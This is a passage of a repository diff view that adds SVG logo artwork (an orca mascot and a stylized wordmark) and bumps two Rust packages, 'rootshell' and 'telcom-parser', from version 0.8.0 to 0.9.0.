<rect class="l" x="476.47" y="792.34" width="94.3" height="93.26"/>
</g>
<g>
<path class="k" d="M866.62,471.66c-6.56,48.48-33.94,76.14-35.73,81.74-2.48,7.86-6.31,22.33-16.95,29.64-10.5,7.2-26.5,9.63-42.59,5.55-13.34-3.39-22.29-8.8-28.94-13.48-11.58-1.07-22.56-3.09-30.25-5-11.05-2.74-21.86-6.4-32.3-10.94-7.16-3.09-14.16-6.59-20.95-10.43-1.15,2.52-2.41,4.99-3.81,7.43-10.1,16.91-29.18,34.32-48.64,39.27-27.8,6.2-34.19-28.79-30.92-54.86-5.27,4.84-11.11,9.07-18.06,13.42-20.08,12.53-58.23,19.42-71.27,7.28-12.68-11.81-3.51-48.64,9.17-67.45.52-.79,1.04-1.56,1.59-2.31-13.89,3.86-27.03,9.93-38.55,18.89-20.96,16.27-30.23,40.06-25.3,63.73,10.39-.79,88.74-4.15,117.38,53.06,19.89,39.73-10.47,28.34-18.03,27.74-24.39-1.9-41.51,7.12-53.05,8.96-6.01.96-21.83,2.59-36-3.19,8.72,12.54,10.58,28.33,10.96,34.38.42,6.75-1.1,15.84-1.07,26.84.04,8.01.89,17.03,3.92,26.89,2.24,7.25,19.97,34.39-23.13,23.66-66.88-16.62-77.78-104.86-77.6-104.18-1.7-10.39-.45-30.74-.45-30.74v-.04c-39.95-54.88-60.61-124.21-53.01-197.41,11.58-111.4,86.59-201.61,185.64-238.1,3.84-24.63,1.78-55.56-8-87.06-14.69-47.31,12.2-40.45,28.08-36.95,71.12,15.72,131.79,90.3,148.24,115.27,105.09,26.58,185.27,110.8,208.27,214.77.75,3.39,5.99,29.59,1.38,63.61Z"/>
<path class="l" d="M492.25,75.5c5.5,0,11.52,1.42,16.47,2.51,71.12,15.72,131.79,90.3,148.24,115.27,105.09,26.58,185.27,110.8,208.27,214.77.75,3.39,5.99,29.59,1.38,63.61-6.56,48.48-33.94,76.14-35.73,81.74-2.48,7.86-6.31,22.33-16.95,29.64-7.05,4.84-16.6,7.52-26.98,7.52-5.07,0-10.33-.64-15.61-1.98-13.34-3.39-22.29-8.8-28.94-13.48-11.58-1.07-22.56-3.09-30.25-5-11.05-2.74-21.86-6.4-32.3-10.94-7.16-3.09-14.16-6.59-20.95-10.43-1.15,2.52-2.41,4.99-3.81,7.43-10.1,16.91-29.18,34.32-48.64,39.27-2.2.49-4.26.72-6.2.72-22.56,0-27.73-31.57-24.72-55.59-5.27,4.84-11.11,9.07-18.06,13.42-12.73,7.94-32.72,13.62-48.97,13.62-9.39,0-17.53-1.89-22.3-6.34-12.68-11.81-3.51-48.64,9.17-67.45.52-.79,1.04-1.56,1.59-2.31-13.89,3.86-27.03,9.93-38.55,18.89-20.96,16.27-30.23,40.06-25.3,63.73,1.66-.13,5.05-.32,9.69-.32,24.44,0,83.62,5.3,107.69,53.38,12.44,24.85,5.22,29.7-3.78,29.7-5.39,0-11.42-1.74-14.25-1.96-2.3-.18-4.54-.26-6.71-.26-20.86,0-35.89,7.55-46.34,9.22-2.63.42-7.14.97-12.56.97-6.98,0-15.47-.91-23.44-4.16,8.72,12.54,10.58,28.33,10.96,34.38.42,6.75-1.1,15.84-1.07,26.84.04,8.01.89,17.03,3.92,26.89,1.88,6.08,14.65,26.14-6.68,26.14-4.11,0-9.49-.74-16.45-2.48-66.62-16.56-77.7-104.19-77.61-104.19,0,0,0,0,0,0-1.7-10.39-.45-30.74-.45-30.74v-.04c-39.95-54.88-60.61-124.21-53.01-197.41,11.58-111.4,86.59-201.61,185.64-238.1,3.84-24.63,1.78-55.56-8-87.06-10.11-32.56-.52-39.46,11.61-39.46M492.25,64.66h0c-11.93,0-18.3,5.24-21.53,9.63-6.75,9.16-6.89,23.11-.44,43.89,8.06,25.96,11.01,52.68,8.46,76.01-48.7,19.18-91.54,50.9-124.21,92.05-34.95,44.03-56.5,96.85-62.31,152.76-7.45,71.69,11.28,143.18,52.77,201.77-.3,6.8-.66,20.57.77,29.29h.03c.55,5.23,2.62,13.77,2.9,14.94,2.01,8.19,5.68,20.72,11.79,33.91,15.93,34.37,40.48,56.54,70.98,64.12,7.57,1.88,13.8,2.8,19.07,2.8,9.38,0,16.11-3.01,20-8.94,6.36-9.71,1.24-21.49-1.82-28.54-.42-.96-.99-2.28-1.13-2.72-2.3-7.49-3.39-15.04-3.44-23.74-.01-4.93.31-9.46.63-13.83.35-4.85.68-9.43.42-13.62-.24-3.82-.98-10.84-3.23-18.83,1.6.09,3.23.13,4.89.13,6.1,0,11.13-.6,14.28-1.11,4.12-.66,8.5-1.98,13.14-3.37,8.91-2.68,19.02-5.72,31.48-5.72,1.95,0,3.92.08,5.87.23.44.04,1.85.31,2.88.51,3.25.63,7.71,1.48,12.21,1.48,10.62,0,15.86-4.87,18.38-8.95,5.1-8.26,3.59-19.5-4.9-36.46-9.61-19.2-24.88-33.99-45.48-44.11,16.72-1.18,35.52-6.93,48.52-15.04.38-.24.75-.47,1.12-.71,1.15,12.72,4.79,25.3,12.32,33.84,6.16,6.98,14.32,10.68,23.59,10.68,2.75,0,5.63-.33,8.56-.98l.16-.04.16-.04c22.76-5.79,43.36-25.23,54.24-42.53,4.05,2.04,8.12,3.95,12.18,5.7,10.94,4.76,22.38,8.64,33.99,11.51,8.64,2.15,19.07,3.94,29.01,4.99,6.94,4.66,16.46,10,30.12,13.47,6.05,1.53,12.2,2.31,18.28,2.31,12.5,0,24.26-3.35,33.12-9.43,12.99-8.92,17.77-24.36,20.62-33.59.12-.38.23-.75.34-1.1.55-.9,1.93-2.85,3.07-4.45,9.02-12.73,27.78-39.21,33.27-79.73,4.92-36.33-.86-64.32-1.54-67.4-11.77-53.21-38.1-102.18-76.14-141.6-37.37-38.74-84.33-66.44-136.03-80.3-10.43-15.06-29.59-38.38-53.01-59.67-33.5-30.44-67-49.53-99.58-56.73l-.97-.21c-5.13-1.14-11.51-2.55-17.84-2.55h0ZM442.69,562.99c-.4-16.55,7.59-32.52,22.37-44,3-2.34,6.2-4.5,9.57-6.47-1.73,5.23-3.12,10.59-4.03,15.79-2.87,16.33-1.07,29.19,5.2,37.56-12.68-2.26-24.23-2.87-33-2.87h-.1Z"/>
</g>
<path class="m" d="M865.24,408.05c-23-103.97-103.18-188.19-208.27-214.77-16.45-24.98-77.12-99.56-148.24-115.27-15.88-3.5-42.77-10.36-28.08,36.95,9.78,31.5,11.84,62.43,8,87.06-99.04,36.49-174.06,126.71-185.64,238.1-7.61,73.2,13.06,142.53,53.01,197.41v.04s-1.25,20.35.45,30.74c-.18-.68,10.73,87.56,77.6,104.18,43.11,10.73,25.37-16.41,23.13-23.66-3.02-9.86-3.88-18.88-3.92-26.89-.03-11,1.49-20.08,1.07-26.84-.38-6.05-2.24-21.83-10.96-34.38,14.17,5.78,29.99,4.15,36,3.19,11.54-1.84,28.65-10.86,53.05-8.96,7.57.6,37.93,11.99,18.03-27.74-28.64-57.21-106.99-53.85-117.38-53.06-4.92-23.68,4.34-47.46,25.3-63.73,11.53-8.96,24.67-15.02,38.55-18.89-.54.75-1.07,1.52-1.59,2.31-12.68,18.81-21.85,55.64-9.17,67.45,13.04,12.14,51.19,5.25,71.27-7.28,6.96-4.35,12.79-8.58,18.06-13.42-3.27,26.08,3.12,61.06,30.92,54.86,19.46-4.95,38.54-22.36,48.64-39.27,1.4-2.44,2.66-4.91,3.81-7.43,6.79,3.84,13.79,7.34,20.95,10.43,10.44,4.54,21.25,8.2,32.3,10.94,7.69,1.91,18.67,3.93,30.25,5,6.64,4.68,15.59,10.09,28.94,13.48,16.1,4.08,32.1,1.65,42.59-5.55,10.64-7.31,14.47-21.78,16.95-29.64,1.79-5.6,29.17-33.26,35.73-81.74,4.61-34.02-.64-60.22-1.38-63.61ZM698.62,535.21c.31-.04.62.09.77.37,4.68,7.86,11.96,14.67,19.01,21.8h0c-.58.01-21.3-8.58-39.01-23,6.13,1.27,12.39,1.79,19.23.83ZM671.77,527.49c-1.13-.46-1.3-.88-1.14-2.66.77-9.07,5.82-16.16,10.93-20.53.31-.26.81-.16.98.22,2.4,5.71,6.98,15.92,12.96,24.92.26.39.56.94-.42,1.04-8.52.98-18.84-1.18-23.31-3ZM691.99,476.52c4.83-32.33-15.17-44.17-15.17-44.17,0,0,22.94,5.93,25.68,24.26,2.75,18.33-10.51,19.91-10.51,19.91ZM677.71,497.73c.14-.01.2.12.11.22-4.65,4.56-9.67,11.35-13.41,20.9-.11.28-.46.37-.68.15-6.44-6.64-11.95-13.41-18.33-23.85-.11-.18.05-.41.26-.34,8.24,3.08,20.25,4.56,32.06,2.93ZM675.5,492.17c-12.08,1.41-29.28-1.93-32.72-3.84-.31-.18-.47-.54-.34-.85,2.81-7.23,14.05-17.91,23.85-21.82.52-.22,1.1.08,1.27.62,2.17,7.54,5.02,15.8,8.69,24.53.24.6-.12,1.27-.76,1.36ZM638.13,435.55c3.85-3.63,9.61-7.69,15.87-9.06,2.77-.61,5.45,1.25,5.76,4.05.64,5.98,1.45,12.83,3.65,22.74.04.15-.12.28-.26.23-11.11-3.76-19.5-9.49-25.1-17.11-.19-.27-.15-.64.08-.85ZM634.04,441.3c.12-.42.69-.5.92-.12,5.84,8.96,13.9,14.63,27.01,18.13.39.11.46.62.11.83-12.29,6.77-18.43,14.71-22.05,21.26-.15.24-.5.26-.64.01-6.03-10.09-8.48-28.11-5.36-40.11ZM504.85,481.07c-9.97,2.25-19.72,5.46-29.01,9.83-19.57,8.95-36.31,24.18-44.68,42.96-.24-3.48-.81-7.35-1.91-11.89-5.61-23.38-26.97-21.76-36.75-20.94-14.6,1.25-37.85,9.15-46.35-9.32-13.25-28.71,23.42-67.77,66.21-67.81,45.71-.04,70.58,37.07,74.57,43.54.3.5.98.58,1.42.19,17.52-15.34,42.4-13.11,42.4-13.11,0,0-12.73,10.33-25.91,26.55ZM506.46,325.88c-19.31,5.89-45.62,9.34-64.51-7.3-18.89-16.64-23.28-83.25,44.75-108.21,0,0-11.8,59.45,17.25,63,24.54,3,63.04-4.92,90.77,14.69,27.16,19.2,20.33,37.22-4.8,31.99-28.82-6.01-64.15-.07-83.46,5.83ZM650.12,553.16c-9.59,14.7-28,31.13-45.2,35.36-4.85,1.04-9.6.9-13.36-2.52-9.21-8.8-10.79-25.85-10.73-38.27.05-4.56.39-9.18,1.18-13.72,6.1-6.79,11.74-15,18.09-25.99,7.28,4.73,15.57,11.5,21.67,16.06,10.37,7.85,21.14,15.31,32.4,21.94-1.23,2.43-2.58,4.81-4.05,7.15ZM713.7,563.98c-18.41-4.71-35.76-12.35-52.07-21.86-1.49-.85-2.96-1.75-4.43-2.64-10.69-6.51-20.94-13.76-30.78-21.49-6.58-4.98-14.75-11.91-22.37-16.95,6.97-12.95,20.87-53.18,20.87-53.18,0,0-2.78,38.82,37.13,77.75,1.14,1.13,2.35,2.26,3.57,3.38.35.33.69.64,1.04.96,15.3,13.78,40.15,28.64,62.76,36.68.8.28,1.61.66,2.47,1.14-6.13-.95-12.19-2.2-18.17-3.78ZM766.42,461.91c-8.54,13.07-27.43,11.95-46.04-12.9-2.79-3.73-7.95-15.96-31.78-35.34-23.5-19.09-29.76-47.18-11.05-64.82,16.35-15.42,52.13-7.54,74.2,21.63,24.75,32.69,27.8,71.3,14.67,91.42Z"/>
</g>
<g>
<path class="l" d="M250.23,965.33l-28.34,28.34v85.01l28.34-28.34v-56.67h28.34v-28.34h-28.34Z"/>
<polygon class="l" points="373.09 993.66 373.09 1078.67 316.42 1078.67 288.08 1050.33 288.08 1021.81 316.23 993.66 316.42 993.66 344.76 1022 316.42 1022 316.42 1050.33 344.76 1050.33 344.76 993.66 316.42 993.66 288.08 965.33 344.76 965.33 373.09 993.66"/>
<path class="l" d="M439.29,1050.33h-28.34v-85.01h-28.34v85.01l28.34,28.34h28.34v28.34l28.34,28.34v-56.67l-28.34-28.34ZM439.29,965.33v85.01h28.34v-56.67l-28.34-28.34Z"/>
<path class="k" d="M533.82,965.33h-28.34v-56.67h-28.34v56.67l28.34,28.34h28.34v85.01h28.34v-85.01l-28.34-28.34ZM477.14,993.66v56.67l28.34,28.34v-85.01h-28.34Z"/>
<path class="k" d="M600.01,1050.33v-85.01h-28.34v85.01l28.34,28.34h28.34v-28.34h-28.34ZM628.35,965.33v85.01l28.34,28.34v-113.35h-28.34Z"/>
<path class="k" d="M666.2,965.33v113.35h28.34v-85.01l-28.34-28.34ZM722.88,965.33h-28.34v28.34h28.34v56.67l28.34,28.34v-85.01l-28.34-28.34Z"/>
<path class="k" d="M789.07,965.33v-56.67h-28.34v56.67l28.34,28.34h28.34v-28.34h-28.34ZM789.07,1050.33v-56.67h-28.34v56.67l28.34,28.34h28.34v-28.34h-28.34Z"/>
<path class="k" d="M911.94,993.66l-28.34-28.34h-56.67v85.01l28.34,28.34h56.67l-28.34-28.34h-28.34v-56.67h28.34v28.34h-28.34l28.34,28.34h.1l-.19-.19,28.42-28.4v-28.09Z"/>
<path class="k" d="M949.77,965.33l-28.34,28.34v85.01l28.34-28.34v-56.67h28.34v-28.34h-28.34Z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 11 KiB

29
logo/orca.svg Normal file
View File

@@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg id="g" data-name="Layer 10" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 977.04 977.04">
<defs>
<style>
.j {
fill: #fff;
}
.k {
fill: #94ea18;
}
.l {
fill: #3f3da0;
}
</style>
</defs>
<g>
<polygon class="k" points="764.99 525.93 764.99 898.99 670.69 898.99 670.69 636.31 703.43 654.3 701.12 613.06 734.95 615.85 720.12 581.55 750.71 577.38 726.61 547.71 748.05 525.93 764.99 525.93"/>
<polygon class="k" points="651.28 641.12 651.28 898.99 556.97 898.99 556.97 619.2 588.93 619.2 588.05 642.26 617.24 631.13 626.04 666.36 651.28 641.12"/>
<rect class="k" x="443.25" y="712.47" width="94.3" height="186.53"/>
<rect class="k" x="329.53" y="805.73" width="94.3" height="93.26"/>
</g>
<g>
<path class="j" d="M719.68,485.05c-6.56,48.48-33.94,76.14-35.73,81.74-2.48,7.86-6.31,22.33-16.95,29.64-10.5,7.2-26.5,9.63-42.59,5.55-13.34-3.39-22.29-8.8-28.94-13.48-11.58-1.07-22.56-3.09-30.25-5-11.05-2.74-21.86-6.4-32.3-10.94-7.16-3.09-14.16-6.59-20.95-10.43-1.15,2.52-2.41,4.99-3.81,7.43-10.1,16.91-29.18,34.32-48.64,39.27-27.8,6.2-34.19-28.79-30.92-54.86-5.27,4.84-11.11,9.07-18.06,13.42-20.08,12.53-58.23,19.42-71.27,7.28-12.68-11.81-3.51-48.64,9.17-67.45.52-.79,1.04-1.56,1.59-2.31-13.89,3.86-27.03,9.93-38.55,18.89-20.96,16.27-30.23,40.06-25.3,63.73,10.39-.79,88.74-4.15,117.38,53.06,19.89,39.73-10.47,28.34-18.03,27.74-24.39-1.9-41.51,7.12-53.05,8.96-6.01.96-21.83,2.59-36-3.19,8.72,12.54,10.58,28.33,10.96,34.38.42,6.75-1.1,15.84-1.07,26.84.04,8.01.89,17.03,3.92,26.89,2.24,7.25,19.97,34.39-23.13,23.66-66.88-16.62-77.78-104.86-77.6-104.18-1.7-10.39-.45-30.74-.45-30.74v-.04c-39.95-54.88-60.61-124.21-53.01-197.41,11.58-111.4,86.59-201.61,185.64-238.1,3.84-24.63,1.78-55.56-8-87.06-14.69-47.31,12.2-40.45,28.08-36.95,71.12,15.72,131.79,90.3,148.24,115.27,105.09,26.58,185.27,110.8,208.27,214.77.75,3.39,5.99,29.59,1.38,63.61Z"/>
<path class="k" d="M345.31,88.89c5.5,0,11.52,1.42,16.47,2.51,71.12,15.72,131.79,90.3,148.24,115.27,105.09,26.58,185.27,110.8,208.27,214.77.75,3.39,5.99,29.59,1.38,63.61-6.56,48.48-33.94,76.14-35.73,81.74-2.48,7.86-6.31,22.33-16.95,29.64-7.05,4.84-16.6,7.52-26.98,7.52-5.07,0-10.33-.64-15.61-1.98-13.34-3.39-22.29-8.8-28.94-13.48-11.58-1.07-22.56-3.09-30.25-5-11.05-2.74-21.86-6.4-32.3-10.94-7.16-3.09-14.16-6.59-20.95-10.43-1.15,2.52-2.41,4.99-3.81,7.43-10.1,16.91-29.18,34.32-48.64,39.27-2.2.49-4.26.72-6.2.72-22.56,0-27.73-31.57-24.72-55.59-5.27,4.84-11.11,9.07-18.06,13.42-12.73,7.94-32.72,13.62-48.97,13.62-9.39,0-17.53-1.89-22.3-6.34-12.68-11.81-3.51-48.64,9.17-67.45.52-.79,1.04-1.56,1.59-2.31-13.89,3.86-27.03,9.93-38.55,18.89-20.96,16.27-30.23,40.06-25.3,63.73,1.66-.13,5.05-.32,9.69-.32,24.44,0,83.62,5.3,107.69,53.38,12.44,24.85,5.22,29.7-3.78,29.7-5.39,0-11.42-1.74-14.25-1.96-2.3-.18-4.54-.26-6.71-.26-20.86,0-35.89,7.55-46.34,9.22-2.63.42-7.14.97-12.56.97-6.98,0-15.47-.91-23.44-4.16,8.72,12.54,10.58,28.33,10.96,34.38.42,6.75-1.1,15.84-1.07,26.84.04,8.01.89,17.03,3.92,26.89,1.88,6.08,14.65,26.14-6.68,26.14-4.11,0-9.49-.74-16.45-2.48-66.62-16.56-77.7-104.19-77.61-104.19,0,0,0,0,0,0-1.7-10.39-.45-30.74-.45-30.74v-.04c-39.95-54.88-60.61-124.21-53.01-197.41,11.58-111.4,86.59-201.61,185.64-238.1,3.84-24.63,1.78-55.56-8-87.06-10.11-32.56-.52-39.46,11.61-39.46M345.31,78.04h0c-11.93,0-18.3,5.24-21.53,9.63-6.75,9.16-6.89,23.11-.44,43.89,8.06,25.96,11.01,52.68,8.46,76.01-48.7,19.18-91.54,50.9-124.21,92.05-34.95,44.03-56.5,96.85-62.31,152.76-7.45,71.69,11.28,143.18,52.77,201.77-.3,6.8-.66,20.57.77,29.29h.03c.55,5.23,2.62,13.77,2.9,14.94,2.01,8.19,5.68,20.72,11.79,33.91,15.93,34.37,40.48,56.54,70.98,64.12,7.57,1.88,13.8,2.8,19.07,2.8,9.38,0,16.11-3.01,20-8.94,6.36-9.71,1.24-21.49-1.82-28.54-.42-.96-.99-2.28-1.13-2.72-2.3-7.49-3.39-15.04-3.44-23.74-.01-4.93.31-9.46.63-13.83.35-4.85.68-9.43.42-13.62-.24-3.82-.98-10.84-3.23-18.83,1.6.09,3.23.13,4.89.13,6.1,0,11.13-.6,14.28-1.11,4.12-.66,8.5-1.98,13.14-3.37,8.91-2.68,19.02-5.72,31.48-5.72,1.95,0,3.92.08,5.87.23.44.04,1.85.31,2.88.51,3.25.63,7.71,1.48,12.21,1.48,10.62,0,15.86-4.87,18.38-8.95,5.1-8.26,3.59-19.5-4.9-36.46-9.61-19.2-24.88-33.99-45.48-44.11,16.72-1.18,35.52-6.93,48.52-15.04.38-.24.75-.47,1.12-.71,1.15,12.72,4.79,25.3,12.32,33.84,6.16,6.98,14.32,10.68,23.59,10.68,2.75,0,5.63-.33,8.56-.98l.16-.04.16-.04c22.76-5.79,43.36-25.23,54.24-42.53,4.05,2.04,8.12,3.95,12.18,5.7,10.94,4.76,22.38,8.64,33.99,11.51,8.64,2.15,19.07,3.94,29.01,4.99,6.94,4.66,16.46,10,30.12,13.47,6.05,1.53,12.2,2.31,18.28,2.31,12.5,0,24.26-3.35,33.12-9.43,12.99-8.92,17.77-24.36,20.62-33.59.12-.38.23-.75.34-1.1.55-.9,1.93-2.85,3.07-4.45,9.02-12.73,27.78-39.21,33.27-79.73,4.92-36.33-.86-64.32-1.54-67.4-11.77-53.21-38.1-102.18-76.14-141.6-37.37-38.74-84.33-66.44-136.03-80.3-10.43-15.06-29.59-38.38-53.01-59.67-33.5-30.44-67-49.53-99.58-56.73l-.97-.21c-5.13-1.14-11.51-2.55-17.84-2.55h0ZM295.75,576.37c-.4-16.55,7.59-32.52,22.37-44,3-2.34,6.2-4.5,9.57-6.47-1.73,5.23-3.12,10.59-4.03,15.79-2.87,16.33-1.07,29.19,5.2,37.56-12.68-2.26-24.23-2.87-33-2.87h-.1Z"/>
</g>
<path class="l" d="M718.29,421.44c-23-103.97-103.18-188.19-208.27-214.77-16.45-24.98-77.12-99.56-148.24-115.27-15.88-3.5-42.77-10.36-28.08,36.95,9.78,31.5,11.84,62.43,8,87.06-99.04,36.49-174.06,126.71-185.64,238.1-7.61,73.2,13.06,142.53,53.01,197.41v.04s-1.25,20.35.45,30.74c-.18-.68,10.73,87.56,77.6,104.18,43.11,10.73,25.37-16.41,23.13-23.66-3.02-9.86-3.88-18.88-3.92-26.89-.03-11,1.49-20.08,1.07-26.84-.38-6.05-2.24-21.83-10.96-34.38,14.17,5.78,29.99,4.15,36,3.19,11.54-1.84,28.65-10.86,53.05-8.96,7.57.6,37.93,11.99,18.03-27.74-28.64-57.21-106.99-53.85-117.38-53.06-4.92-23.68,4.34-47.46,25.3-63.73,11.53-8.96,24.67-15.02,38.55-18.89-.54.75-1.07,1.52-1.59,2.31-12.68,18.81-21.85,55.64-9.17,67.45,13.04,12.14,51.19,5.25,71.27-7.28,6.96-4.35,12.79-8.58,18.06-13.42-3.27,26.08,3.12,61.06,30.92,54.86,19.46-4.95,38.54-22.36,48.64-39.27,1.4-2.44,2.66-4.91,3.81-7.43,6.79,3.84,13.79,7.34,20.95,10.43,10.44,4.54,21.25,8.2,32.3,10.94,7.69,1.91,18.67,3.93,30.25,5,6.64,4.68,15.59,10.09,28.94,13.48,16.1,4.08,32.1,1.65,42.59-5.55,10.64-7.31,14.47-21.78,16.95-29.64,1.79-5.6,29.17-33.26,35.73-81.74,4.61-34.02-.64-60.22-1.38-63.61ZM551.68,548.59c.31-.04.62.09.77.37,4.68,7.86,11.96,14.67,19.01,21.8h0c-.58.01-21.3-8.58-39.01-23,6.13,1.27,12.39,1.79,19.23.83ZM524.83,540.88c-1.13-.46-1.3-.88-1.14-2.66.77-9.07,5.82-16.16,10.93-20.53.31-.26.81-.16.98.22,2.4,5.71,6.98,15.92,12.96,24.92.26.39.56.94-.42,1.04-8.52.98-18.84-1.18-23.31-3ZM545.05,489.91c4.83-32.33-15.17-44.17-15.17-44.17,0,0,22.94,5.93,25.68,24.26,2.75,18.33-10.51,19.91-10.51,19.91ZM530.77,511.11c.14-.01.2.12.11.22-4.65,4.56-9.67,11.35-13.41,20.9-.11.28-.46.37-.68.15-6.44-6.64-11.95-13.41-18.33-23.85-.11-.18.05-.41.26-.34,8.24,3.08,20.25,4.56,32.06,2.93ZM528.56,505.56c-12.08,1.41-29.28-1.93-32.72-3.84-.31-.18-.47-.54-.34-.85,2.81-7.23,14.05-17.91,23.85-21.82.52-.22,1.1.08,1.27.62,2.17,7.54,5.02,15.8,8.69,24.53.24.6-.12,1.27-.76,1.36ZM491.19,448.94c3.85-3.63,9.61-7.69,15.87-9.06,2.77-.61,5.45,1.25,5.76,4.05.64,5.98,1.45,12.83,3.65,22.74.04.15-.12.28-.26.23-11.11-3.76-19.5-9.49-25.1-17.11-.19-.27-.15-.64.08-.85ZM487.09,454.69c.12-.42.69-.5.92-.12,5.84,8.96,13.9,14.63,27.01,18.13.39.11.46.62.11.83-12.29,6.77-18.43,14.71-22.05,21.26-.15.24-.5.26-.64.01-6.03-10.09-8.48-28.11-5.36-40.11ZM357.91,494.46c-9.97,2.25-19.72,5.46-29.01,9.83-19.57,8.95-36.31,24.18-44.68,42.96-.24-3.48-.81-7.35-1.91-11.89-5.61-23.38-26.97-21.76-36.75-20.94-14.6,1.25-37.85,9.15-46.35-9.32-13.25-28.71,23.42-67.77,66.21-67.81,45.71-.04,70.58,37.07,74.57,43.54.3.5.98.58,1.42.19,17.52-15.34,42.4-13.11,42.4-13.11,0,0-12.73,10.33-25.91,26.55ZM359.52,339.27c-19.31,5.89-45.62,9.34-64.51-7.3-18.89-16.64-23.28-83.25,44.75-108.21,0,0-11.8,59.45,17.25,63,24.54,3,63.04-4.92,90.77,14.69,27.16,19.2,20.33,37.22-4.8,31.99-28.82-6.01-64.15-.07-83.46,5.83ZM503.17,566.55c-9.59,14.7-28,31.13-45.2,35.36-4.85,1.04-9.6.9-13.36-2.52-9.21-8.8-10.79-25.85-10.73-38.27.05-4.56.39-9.18,1.18-13.72,6.1-6.79,11.74-15,18.09-25.99,7.28,4.73,15.57,11.5,21.67,16.06,10.37,7.85,21.14,15.31,32.4,21.94-1.23,2.43-2.58,4.81-4.05,7.15ZM566.76,577.37c-18.41-4.71-35.76-12.35-52.07-21.86-1.49-.85-2.96-1.75-4.43-2.64-10.69-6.51-20.94-13.76-30.78-21.49-6.58-4.98-14.75-11.91-22.37-16.95,6.97-12.95,20.87-53.18,20.87-53.18,0,0-2.78,38.82,37.13,77.75,1.14,1.13,2.35,2.26,3.57,3.38.35.33.69.64,1.04.96,15.3,13.78,40.15,28.64,62.76,36.68.8.28,1.61.66,2.47,1.14-6.13-.95-12.19-2.2-18.17-3.78ZM619.48,475.3c-8.54,13.07-27.43,11.95-46.04-12.9-2.79-3.73-7.95-15.96-31.78-35.34-23.5-19.09-29.76-47.18-11.05-64.82,16.35-15.42,52.13-7.54,74.2,21.63,24.75,32.69,27.8,71.3,14.67,91.42Z"/>
</svg>

After

Width:  |  Height:  |  Size: 8.5 KiB

23
logo/text.svg Normal file
View File

@@ -0,0 +1,23 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg id="g" data-name="Layer 10" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1060.73 497.18">
<defs>
<style>
.j {
fill: #fff;
}
.k {
fill: #94ea18;
}
</style>
</defs>
<path class="k" d="M187.15,204.67l-28.34,28.34v85.01l28.34-28.34v-56.67h28.34v-28.34h-28.34Z"/>
<polygon class="k" points="310.01 233.01 310.01 318.02 253.34 318.02 225 289.68 225 261.16 253.15 233.01 253.34 233.01 281.68 261.35 253.34 261.35 253.34 289.68 281.68 289.68 281.68 233.01 253.34 233.01 225 204.67 281.68 204.67 310.01 233.01"/>
<path class="k" d="M376.21,289.68h-28.34v-85.01h-28.34v85.01l28.34,28.34h28.34v28.34l28.34,28.34v-56.67l-28.34-28.34ZM376.21,204.67v85.01h28.34v-56.67l-28.34-28.34Z"/>
<path class="j" d="M470.74,204.67h-28.34v-56.67h-28.34v56.67l28.34,28.34h28.34v85.01h28.34v-85.01l-28.34-28.34ZM414.06,233.01v56.67l28.34,28.34v-85.01h-28.34Z"/>
<path class="j" d="M536.93,289.68v-85.01h-28.34v85.01l28.34,28.34h28.34v-28.34h-28.34ZM565.27,204.67v85.01l28.34,28.34v-113.35h-28.34Z"/>
<path class="j" d="M603.12,204.67v113.35h28.34v-85.01l-28.34-28.34ZM659.8,204.67h-28.34v28.34h28.34v56.67l28.34,28.34v-85.01l-28.34-28.34Z"/>
<path class="j" d="M725.99,204.67v-56.67h-28.34v56.67l28.34,28.34h28.34v-28.34h-28.34ZM725.99,289.68v-56.67h-28.34v56.67l28.34,28.34h28.34v-28.34h-28.34Z"/>
<path class="j" d="M848.86,233.01l-28.34-28.34h-56.67v85.01l28.34,28.34h56.67l-28.34-28.34h-28.34v-56.67h28.34v28.34h-28.34l28.34,28.34h.1l-.19-.19,28.42-28.4v-28.09Z"/>
<path class="j" d="M886.69,204.67l-28.34,28.34v85.01l28.34-28.34v-56.67h28.34v-28.34h-28.34Z"/>
</svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

View File

@@ -1,6 +1,6 @@
[package]
name = "rootshell"
version = "0.8.0"
version = "0.9.0"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

View File

@@ -1,6 +1,6 @@
[package]
name = "telcom-parser"
version = "0.8.0"
version = "0.9.0"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html